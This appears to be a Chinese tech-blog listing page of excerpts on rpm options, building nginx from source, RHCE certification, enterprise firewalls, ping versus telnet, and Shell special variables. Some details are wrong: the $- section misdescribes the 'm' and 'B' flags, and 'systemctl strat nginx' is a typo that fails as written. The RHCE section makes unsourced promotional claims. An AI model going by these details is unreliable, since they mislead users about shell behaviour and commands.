--nofiledigest don't verify digest of files --nofiles don't verify files in package --nodeps don't verify package dependencies --noscript don't execute verify script(s) Install/Upgrade/Erase options: --allfiles install all files, even configurations which might otherwise be skipped --allmatches remove all packages which match <package> (normally an error is generated if <package> specified multiple packages) --badreloc relocate files in non-relocatable package -e, --erase=<package>+ erase (uninstall) package --excludedocs do not install documentation --excludepath=<path> skip files with leading component <path> --force short hand for --replacepkgs --replacefiles -F, --freshen=<packagefile>+ upgrade package(s) if already installed -h, --hash print hash marks as package installs (good with -v) --ignorearch don't verify package architecture --ignoreos don't verify package operating system --ignoresize don't check disk space before installing -i, --install install package(s) --justdb update the database, but do not modify the filesystem --nodeps do not verify package dependencies --nofiledigest don't verify digest of files --nocontexts don't install file security contexts --noorder do not reorder package installation to satisfy dependencies --noscripts do not execute package scriptlet(s) --notriggers do not execute any scriptlet(s) triggered by this package --nocollections do not perform any collection actions --oldpackage upgrade to an old version of the package (--force on upgrades does this automatically) --percent print percentages as package installs --prefix=<dir> relocate the package to <dir>, if relocatable --relocate=<old>=<new> relocate files from path <old> to <new> --replacefiles ignore file conflicts between packages --replacepkgs reinstall if the package is already present --test don't install, but tell if it would work or not -U, --upgrade=<packagefile>+ upgrade package(s) --reinstall=<packagefile>+ reinstall package(s) Common options for all rpm modes and executables: -D, --define='MACRO EXPR' define MACRO with value EXPR --undefine=MACRO undefine MACRO -E, --eval='EXPR' print macro expansion of EXPR --macros=<FILE:...> read <FILE:...> instead of default file(s) --noplugins don't enable any plugins --nodigest don't verify package digest(s) --nosignature don't verify package signature(s) --rcfile=<FILE:...> read <FILE:...> instead of default file(s) -r, --root=ROOT use ROOT as top level directory (default: "/") --dbpath=DIRECTORY use database in DIRECTORY --querytags display known query tags --showrc display final rpmrc and macro configuration --quiet provide less detailed output -v, --verbose provide more detailed output --version print the version of rpm being used Options implemented via popt alias/exec: --scripts list install/erase scriptlets from package(s) --setperms set permissions of files in a package --setugids set user/group ownership of files in a package --setcaps set capabilities of files in a package --restore restore file/directory permissions --conflicts list capabilities this package conflicts with --obsoletes list other packages removed by installing this package --provides list capabilities that this package provides --requires list capabilities required by package(s) --info list descriptive information from package(s) --changelog list change logs for this package --xml list metadata in xml --triggers list trigger scriptlets from package(s) --last list package(s) by install time, most recent first --dupes list duplicated packages --filesbypkg list all files from each package --fileclass list file names with classes --filecolor list file names with colors --fscontext list file names with security context from file system --fileprovide list file names with provides --filerequire list file names with requires --filecaps list file names with POSIX1.e capabilities Help options: -?, --help Show this help message --usage Display brief usage message # 安装java的jdk rpm -ivh jdk-21_linux-x64_bin.rpm # 查看安装的jdk rpm -qa | grep "jdk" # 忽略依赖关系强制卸载jdk rpm -evh --nodeps jdk-21-21.0.1-12.x86_64 4. 源码安装 软件给的是C语言的源代码，需要编译成二进制，再安装。 Linux下安装软件，大型软件docker、oracle一般放/opt目录下；/usr目录一般由软件包管理器（yum、apt）来管理；/usr/local是用户级程序目录，/usr/local/src是用户级存放目录。 以安装nginx为例 # 安装依赖 yum install -y gcc pcre-devel openssl-devel 4.1 执行configure脚本 ./configure [option…] 通过选项传递参数，指定安装路径、启用特性等；执行时会参考用户的指定以及Makefile.in文件生成Makefile 检查依赖到的外部环境，如依赖的软件包 tar -xvf nginx-1.25.3.tar.gz cd nginx-1.25.3 ./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --user=nginx --group=nginx 选项说明： 选项 说明 –prefix=/usr/local/nginx 编译安装目录。如果没有指定，默认为 /usr/local/程序名 –user=nginx 所属用户nginx –group=nginx 所属组nginx –with-http_stub_status_module 该模块提供nginx的基本状态信息 –with-http_ssl_module 支持HTTPS 4.2 编译、安装 # 编译 make make 根据Makefile文件，会检测依赖的环境，进行构建应用程序 4.3 安装 # 安装 make install make install 复制文件到相应路径 4.4 操作nginx # 启动服务 /usr/local/nginx/sbin/nginx # 重新加载配置文件 /usr/local/nginx/sbin/nginx -s reload # 设置软连接 ln -s /usr/local/nginx/sbin/nginx /usr/local/sbin/ # 强制停止 nginx -s stop # 安全退出 nginx -s quit # 查看进程 ps -ef | grep nginx # 测试 curl 127.0.0.1 4.5 创建服务器 编写配置文件 # 编写配置文件 vi /usr/lib/systemd/system/nginx.service # 写入这些信息 [Unit] Description=nginx After=network.target [Service] Type=forking ExecStartPre=/usr/local/nginx/sbin/nginx -t ExecStart=/usr/local/nginx/sbin/nginx ExecReload=/usr/local/nginx/sbin/nginx -s reload ExecStop=/usr/local/nginx/sbin/nginx -s quit PrivateTmp=true [Install] WantedBy=multi-user.target 使用systemctl管理nginx服务 systemctl enable nginx systemctl strat nginx systemctl status nginx </div> ...

红帽认证是一个完善的认证体系，分为三个等级：初级、中级和高级。 其中，RHCE认证是中级认证。 这意味着，获得RHCE认证需要先通过初级认证，即Red Hat Certified System Administrator（RHCSA）认证。 通过RHCE认证后，可以进一步挑战高级认证，即Red Hat Certified Architect（RHCA）认证。 下面我们就来了解一下RHCE认证吧。 RHCE是中级还是高级 红帽认证分为了三个等级 ★ 红帽认证系统管理员（RHCSA）： 是红帽的初级认证，它证明你完全可以对Linux系统进行基础管理和维护工作。如：创建用户、管理磁盘、文件权限等。 ★ 红帽认证工程师（RHCE）： 是红帽Linux的中级水平认证，它证明你具有红帽企业Linux系统高级系统管理员所需的知识、技能和能力。 既能对服务器进行基础管理，还可以配置注入WEB、邮件、DNS等服务器，并且实现其安全运行。 ★ 红帽认证架构师（RHCA）： 是红帽Linux最高级别认证，也是公认的更受欢迎、更成熟的认证。 它主要是面向那些负责部署和管理大型企业环境中众多系统的高级Linux系统管理员提供深入的实际操作培训。 RHCE证书含金量如何 一、市场需求：Linux人才需求持续升温 随着Linux系统的普及，企业对Linux人才的需求也在不断增长。 据相关数据显示，我国每年至少会有60万的缺口，而红帽认证出来的网络工程师工作并不难找。 此外，许多企业和机构也纷纷采用Linux系统，这也进一步加剧了对Linux人才的需求。 因此，拥有RHCE证书将为你在就业市场上增加不少竞争力。 二、就业前景：高薪就业，职业发展前景广阔 拥有RHCE证书的求职者可以从事Linux系统管理、网络管理、系统集成等方面的工作。 这些职位不仅薪资待遇优厚，而且职业发展前景也十分广阔。 随着工作经验和技能的提升，你可以逐步晋升到更高的职位，例如系统架构师、项目经理等。 三、考试难度：通过率维持在40—60%，物以稀为贵 RHCE认证的考试难度较大，通过率通常维持在40—60%。 这是因为红帽认证的考试全部都是上机操作，配置试验考试，没有题库的帮助。 因此，通过RHCE认证的考生不仅需要具备扎实的理论基础，还需要具备熟练的操作技能和解决问题的能力。 好了，以上就是给大家介绍的RHCE是中级还是高级以及含金量如何的攻略。 ...

企业级防火墙是专为满足大型组织的需求而设计的防火墙。 与为小型办公室或家庭网络设计的基本防火墙不同，企业级防火墙具有更高级的功能和更大的处理能力，可以处理大量的网络流量，同时提供更深入的安全检查。 企业级防火墙通常包括以下功能： 入侵防御系统（IDS）和入侵防止系统（IPS）：这些系统可以检测并阻止恶意活动和攻击。 虚拟私人网络（VPN）：企业级防火墙通常包括VPN支持，允许远程用户安全地访问企业网络。 深度包检查：这是一种防火墙技术，可以检查网络流量的每个数据包的内容，以阻止恶意软件和攻击。 高可用性和负载均衡：企业级防火墙通常支持这些功能，以确保网络的持续可用性和性能。 集中管理和报告：这些功能使网络管理员能够更容易地管理防火墙，监控网络活动，并在发生安全事件时接收通知。 ...

企业级防火墙的工作原理，你就记住这几个关键字： 企业级防火墙通过访问控制和安全策略来管理网络流量。访问控制列表（ACL）是其中的一种常见机制，根据源地址、目标地址、端口号等因素，允许或禁止数据的传输。安全策略则定义了企业对网络流量的整体管理方针，规定了允许和禁止的活动。 虚拟专用网络是企业级防火墙中的一项关键功能。通过使用加密通道，VPN使得远程用户可以安全地访问企业网络。这对于分布式团队和远程办公的企业来说尤为重要，保障了远程用户的数据传输的安全性。 企业级防火墙具备深度数据包检查的高级功能。这意味着防火墙不仅仅停留在简单的报文头部检查，还能深入分析数据包的内容，以便更全面地识别和阻止潜在的威胁。这种深度的检查使得防火墙更加智能化和适应性强。 一些企业级防火墙集成了入侵检测和防御系统。这意味着防火墙不仅仅阻止已知的威胁，还能主动监测网络中的异常活动，及时响应和防范潜在的攻击。 企业级防火墙记录网络流量和安全事件的日志。这些日志对于审计、分析和识别潜在的安全威胁非常重要。通过仔细分析日志，企业可以更好地了解网络活动，及时发现异常并采取相应措施。 保护网络免受病毒、蠕虫和其他恶意软件的传播是企业级防火墙的重要任务之一。这通常包括实时的病毒扫描、恶意软件识别和隔离感染节点等功能，以确保网络的整体健康和安全。 ...

企业级防火墙主要有以下几种类型： 硬件防火墙 这种防火墙是一种物理设备，通常安装在网络的边缘，作为网络和外部世界之间的主要防线。 硬件防火墙通常具有高性能，可以处理大量的网络流量，同时提供各种高级安全功能。 软件防火墙 这种防火墙是一种可以安装在服务器或其他网络设备上的软件。 软件防火墙提供了与硬件防火墙相同的基本功能，但通常更易于定制和管理。 虚拟防火墙 这种防火墙是一种软件防火墙，可以在虚拟化环境中运行，如云计算平台。 虚拟防火墙可以提供与硬件和软件防火墙相同的功能，同时还提供了更高的灵活性和可扩展性。 ...

Ping和Telnet有什么区别 ping 是ICMP协议，只包含控制信息没有端口；telnet是TCP协议,有端口能承载数据； 不能telnet并不代表不能ping, 这是两种不同的数据包， 防火墙可以设置哪种数据包可以通过； 能telnet通，但是不能ping通，有可能是对方主机关闭了ping回显或者是对方防火墙阻止了ping发送的数据包； 如果别人不能telnet本机,最简单的测试办法是:telnet 127.0.0.1 如果失败说明本机的telnet服务没有开启，如果成功说明本机防火墙做了限制； Ping和Telnet的界面 下边这张图是使用了ping和telnet两个命令的效果图，可以看出使用ping更多返回的是对方机器的数据包，延时这类信息。 而使用telnet则是尝试远程连接对方的服务，所以两者其实还是有很明显的本质区别。 小结 ping是icmp探查消息，用于确定两个ip端点的网络层导通性。 telnet是一种远程登录软件工具，是运行在tcp层，使用23端口。 一般计算机部署的时候都会关闭掉telnet端口，以保证安全性，如果真的需要进行远程连接的话，建议使用ssh的方式去访问。 ...

在Shell脚本中，$符号有多种含义，它通常用于表示变量、特殊变量或参数，今天介绍几个特殊的变量。 $0表示shell脚本文件本身 $1 ~ $n脚本的位置参数，表示脚本或函数的参数。例如，$1表示第一个参数，$2表示第二个参数，依此类推 $#传递给脚本或函数的参数个数 $@传递给脚本或函数的所有参数的列表，每个参数是一个独立的单词 $?表示上一个命令的退出状态，如果为0表示成功，非零值表示失败 $$表示当前脚本或进程的进程ID $!表示后台运行的最后一个进程的进程ID $*表示所有传递给脚本的参数列表（位置参数），并将它们作为一个单词显示 $-用于显示当前Shell的选项设置 当运行 echo $- 时，它会输出一个包含不同字母的字符串 # echo $- himBH 每个字母的含义如下： h: 启用hash命令功能，用于记住命令的路径，以加快命令的查找速度。 i: 启用Shell的交互模式。 m: 启用作业控制的多用户模式。 B: 启用通知作业完成状态的功能。 H: 启用Shell历史功能。 因此，himBH 表示这个Shell当前启用了 hash、交互模式、多用户模式、作业状态通知和历史功能。 这些选项可以根据脚本或Shell的需要进行配置 注意：$* 和 $@ 在大多数情况下表现相似，但在处理引号时有一些关键的区别。 [root@localhost]# cat b.sh && bash b.sh # 使用 "$*" 和 "$@" set -- "arg1" "arg2 with space" "arg3" echo 'Using "$*"' for arg in "$*"; do echo $arg done echo 'Using "$@"' for arg in "$@"; do echo $arg done Using "$*" arg1 arg2 with space arg3 Using "$@" arg1 arg2 with space arg3 在"$*"中，所有参数被当作单个字符串，参数之间用第一个字符（默认是空格）分隔。而在"$@"中，每个参数都被当作独立的字符串。 在实际使用中，如果希望参数原封不动的传递出去，可能更适合使用"$@"，它以类似数组的方式表示传递给脚本的所有参数。 ...